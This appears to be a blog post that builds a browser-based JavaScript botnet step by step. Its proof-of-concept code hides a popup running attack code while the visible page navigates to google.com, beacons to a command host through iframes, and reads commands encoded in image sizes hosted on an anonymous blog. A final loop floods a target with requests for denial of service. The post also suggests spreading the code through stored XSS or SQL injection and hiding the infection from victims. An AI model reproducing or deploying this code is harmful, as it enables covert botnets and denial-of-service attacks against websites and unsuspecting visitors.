Hi! This is a fluffy one but hopefully interesting. The idea is to implement a botnet that is completely client side and does not need an 0day to spread. To achieve this I implemented the botnet in Javascript and used well-known techniques to get the code running on the victims’ browsers. The bots communicate through an existing web site so the botnet master only needs to upload a file to trigger new actions. The most immediate application of these botnets is performing DoS attacks.
The first hurdle we find when implementing a JavaScript botnet is how to perform the injection. In other words, we need to get some JavaScript code running on the victim’s browser and keep it running for as long as possible. The first thing that comes to mind is to create a site with some really interesting content and put the malicious code on it. Whilst this works perfectly it is difficult to create a site that can keep visitors connected long enough for the botnet to have any kind of stability. This is not a technical problem so I decided to concentrate on other injection mechanisms. Here are some sample injectors I wrote as a POC:
A way to get our code running is to create a frame that spans the whole browser window and presents a well-known web site. If the user does not notice that the URL does not match the contents he might click a link inside the frame and start browsing the web from there. If this happens we can execute our code on the background up until the user closes the window or manually types in a different URL. This injection works best with mobile devices that do not show the current URL while browsing. If this is the case this type of injection is virtually undetectable.
<html>
<head>
<script language="JavaScript">
function clicked() {
window.open('hidden.html');
window.focus();
window.location = "http://google.com";
}
</script>
</head>
<body onclick="clicked();">
<p>Click me!</p>
</body>
</html>
Another way to run our code is to create a hidden tab or window and hope the user does not close it. If the client is using a device that only shows the current window or tab the injection is really difficult to spot.
<html>
<head>
<script language="JavaScript">
function clicked() {
window.open('hidden.html','','height=100,width=100',false);
window.focus();
window.location = "http://google.com";
}
</script>
</head>
<body onclick="clicked();">
<p>Click me!</p>
</body>
</html>
I tested these with Chrome, Firefox, and Internet Explorer. Note that the latest versions of Internet Explorer prompt the user for JavaScript execution on every page they visit. This is the default and most users turn it off as it can become really annoying. However if it is turned on none of the afore mentioned techniques would work without the user manually activating the hidden windows, which would defeat the whole purpose of hiding them. Even in this case there is still hope if we can find a vulnerable web application to inject our code into. For our purposes only permanent code injection vulnerabilities are useful. We would be looking for permanent Cross-site scripting or SQL injection instances with write access to the back-end database. In both of these cases we would be able to add our code to the vulnerable web application and execute it every time a user visits the web site. This kind of attack could potentially go unnoticed for a long time.
Once we have a way to run JavaScript code on a victim’s browser we need to be able to communicate with the C&C center so that the botnet clients can receive commands and act accordingly.
The first step to achieve this is to make the C&C center aware of our existence. In order to send data to the botnet owner we can make use of the iframe HTML element. Iframe elements are not subject to the same-origin policy and their source URL can be controlled from JavaScript code. This allows us to send any data we want to an arbitrary server via a GET request.
<html>
<head>
<script language="JavaScript">
n = 0;
var beacon = function() {
var iframe = document.getElementById("the_iframe");
var data = "http://THE_SITE/endpoint?";
data = data + "action=beacon&";
data = data + "n=" + n;
iframe.src = data;
n = n + 1;
setTimeout("beacon();", 10000);
}
</script>
</head>
<body onclick="beacon();">
<iframe width="100%" height="50%" id="the_iframe" src="about:blank"></iframe>
</body>
</html>
The mechanism used for beaconing can also be used to post any data the zombies (botnet clients) need to make available to the botnet owner. Any website that stores data received in a GET request can be used for beaconing and status reporting purposes. The botnet owner can visit the website and check the status of the zombies while remaining anonymous as it is impossible to tell the difference between the botnet owner and all other visitors.
Once simple beaconing has been achieved we might want to have a way to identify the zombies individually. This can be achieved by using random cookies but it is not necessary for simple botnets used only for DDOS attacks so we will leave this as a topic for future posts.
To perform command and control tasks the zombies need to be able to receive the commands issued by the botnet owner. To achieve this it is necessary to bypass the same origin policy and push some data into the JavaScript execution environment in which our code is running. This can be done in several ways but I decided to concentrate on image elements. These elements wether they are used from JavaScript or HTML are allowed to bypass the same origin policy and therefore can retrieve data from domains different to the current website. In our proof of concept we encode two ASCII characters in the height and width of each image and retrieve data in chunks of two images. This procedure is not very bandwidth efficient but should be enough for a simple C&C protocol.
<html>
<head>
<script language="JavaScript">
data = new Array();
function pull() {
var images = new Array();
data = new Array();
for (var n = 1; n < 3; ++n) {
images[n] = new Image();
images[n].src = "http://THE_SITE/files/img" + n + ".png";
images[n].n = n;
images[n].onload = function() {
var index = 2 * (this.n - 1);
data[index] = String.fromCharCode(this.width);
data[index + 1] = String.fromCharCode(this.height);
};
}
setTimeout(function() {
alert(data);
}, 11000);
}
</script>
</head>
<body onclick="pull();">
</body>
</html>
To issue a C&C command the owner of the botnet only has to upload a set of images to a publicly accessible website and all the zombies polling that site will eventually retrieve the message. The easiest way to achieve this is to sign up for a free blog, for example by opening a wordpress account. This process can be done anonymously so it would not compromise the anonymity of the attacker. Once this has been done we only need to upload our images with the same names we hardcoded and immediately we have a way to send data to the bots. Personally I think this method is particularly neat but I’d like to hear other opinions as well
.
Once the botnet has been deployed it is relatively simple to launch a DDOS attack. We are in a position in which we have a bi-directional communications channel with our botnet and we know how to perform cross-domain GET requests by using an iframe element. Combining these elements I put together the following code.
<html>
<head>
<script language="JavaScript">
var attack = function() {
var iframe = document.getElementById("the_iframe");
iframe.onload = attack;
for (var n = 0; n < 1000; ++n) {
var data = "http://THE_SITE?";
data = data + n;
iframe.src = data;
}
}
</script>
</head>
<body onclick="attack();">
<iframe width="100%" height="50%" id="the_iframe" src="about:blank"></iframe>
</body>
</html>
With this simple implementation it is easy to achieve throughputs between 30 KB/s and 50 KB/s. Each zombie is totally independent from the rest so the combined throughput scales approximately linearly with the number of infected hosts. Note that the throughput can be increased by using the xmlHTTPRequest JavaScript object or by just adjusting the length of the parameters of the GET request.
Finally, an inherent advantage of JavaScript malware over traditional malware is that it is trivial to uninstall. After the DDOS attack has been performed the zombies can just close the browser window by calling window.close() and the user will probably never notice his browser took part in the attack.
So that’s it. Now be good and don’t use this for anything evil.
Take care and happy hacking!
Comments (0)